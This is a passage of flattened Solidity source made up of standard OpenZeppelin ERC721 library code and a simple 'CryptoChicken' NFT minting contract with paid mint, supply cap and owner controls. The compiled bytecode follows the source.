/** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/CryptoChicken.sol pragma solidity ^0.8.0; contract CryptoChicken is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.07 ether; uint256 public maxSupply = 10000; uint256 public maxMintAmount = 20; bool public paused = false; constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(address _to, uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(_to, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension) ) : ""; } //only owner function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { require(payable(msg.sender).send(address(this).balance)); } }
0x6080604052600436106101ee5760003560e01c806355f804b31161010d57806395d89b41116100a0578063c87b56dd1161006f578063c87b56dd14610547578063d5abeb0114610567578063da3ef23f1461057d578063e985e9c51461059d578063f2fde38b146105e657600080fd5b806395d89b41146104dd578063a22cb465146104f2578063b88d4fde14610512578063c66828621461053257600080fd5b806370a08231116100dc57806370a082311461046a578063715018a61461048a5780637f00c7a61461049f5780638da5cb5b146104bf57600080fd5b806355f804b3146103fb5780635c975abb1461041b5780636352211e146104355780636c0360eb1461045557600080fd5b806323b872dd1161018557806342842e0e1161015457806342842e0e1461036e578063438b63001461038e57806344a0d68a146103bb5780634f6ccce7146103db57600080fd5b806323b872dd146103135780632f745c59146103335780633ccfd60b1461035357806340c10f191461035b57600080fd5b8063095ea7b3116101c1578063095ea7b3146102a457806313faede6146102c457806318160ddd146102e8578063239c70ae146102fd57600080fd5b806301ffc9a7146101f357806302329a291461022857806306fdde031461024a578063081812fc1461026c575b600080fd5b3480156101ff57600080fd5b5061021361020e366004611d88565b610606565b60405190151581526020015b60405180910390f35b34801561023457600080fd5b50610248610243366004611d6d565b610631565b005b34801561025657600080fd5b5061025f610677565b60405161021f9190611f95565b34801561027857600080fd5b5061028c610287366004611e0b565b610709565b6040516001600160a01b03909116815260200161021f565b3480156102b057600080fd5b506102486102bf366004611d43565b61079e565b3480156102d057600080fd5b506102da600d5481565b60405190815260200161021f565b3480156102f457600080fd5b506008546102da565b34801561030957600080fd5b506102da600f5481565b34801561031f57600080fd5b5061024861032e366004611c61565b6108b4565b34801561033f57600080fd5b506102da61034e366004611d43565b6108e5565b61024861097b565b610248610369366004611d43565b6109cb565b34801561037a57600080fd5b50610248610389366004611c61565b610a7e565b34801561039a57600080fd5b506103ae6103a9366004611c13565b610a99565b60405161021f9190611f51565b3480156103c757600080fd5b506102486103d6366004611e0b565b610b3b565b3480156103e757600080fd5b506102da6103f6366004611e0b565b610b6a565b34801561040757600080fd5b50610248610416366004611dc2565b610bfd565b34801561042757600080fd5b506010546102139060ff1681565b34801561044157600080fd5b5061028c610450366004611e0b565b610c3e565b34801561046157600080fd5b5061025f610cb5565b34801561047657600080fd5b506102da610485366004611c13565b610d43565b34801561049657600080fd5b50610248610dca565b3480156104ab57600080fd5b506102486104ba366004611e0b565b610dfe565b3480156104cb57600080fd5b50600a546001600160a01b031661028c565b3480156104e957600080fd5b5061025f610e2d565b3480156104fe57600080fd5b5061024861050d366004611d19565b610e3c565b34801561051e57600080fd5b5061024861052d366004611c9d565b610f01565b34801561053e57600080fd5b5061025f610f33565b34801561055357600080fd5b5061025f610562366004611e0b565b610f40565b34801561057357600080fd5b506102da600e5481565b34801561058957600080fd5b50610248610598366004611dc2565b61101e565b3480156105a957600080fd5b506102136105b8366004611c2e565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156105f257600080fd5b50610248610601366004611c13565b61105b565b60006001600160e01b0319821663780e9d6360e01b148061062b575061062b826110f6565b92915050565b600a546001600160a01b031633146106645760405162461bcd60e51b815260040161065b90611ffa565b60405180910390fd5b6010805460ff1916911515919091179055565b6060600080546106869061210e565b80601f01602080910402602001604051908101604052809291908181526020018280546106b29061210e565b80156106ff5780601f106106d4576101008083540402835291602001916106ff565b820191906000526020600020905b8154815290600101906020018083116106e257829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b0316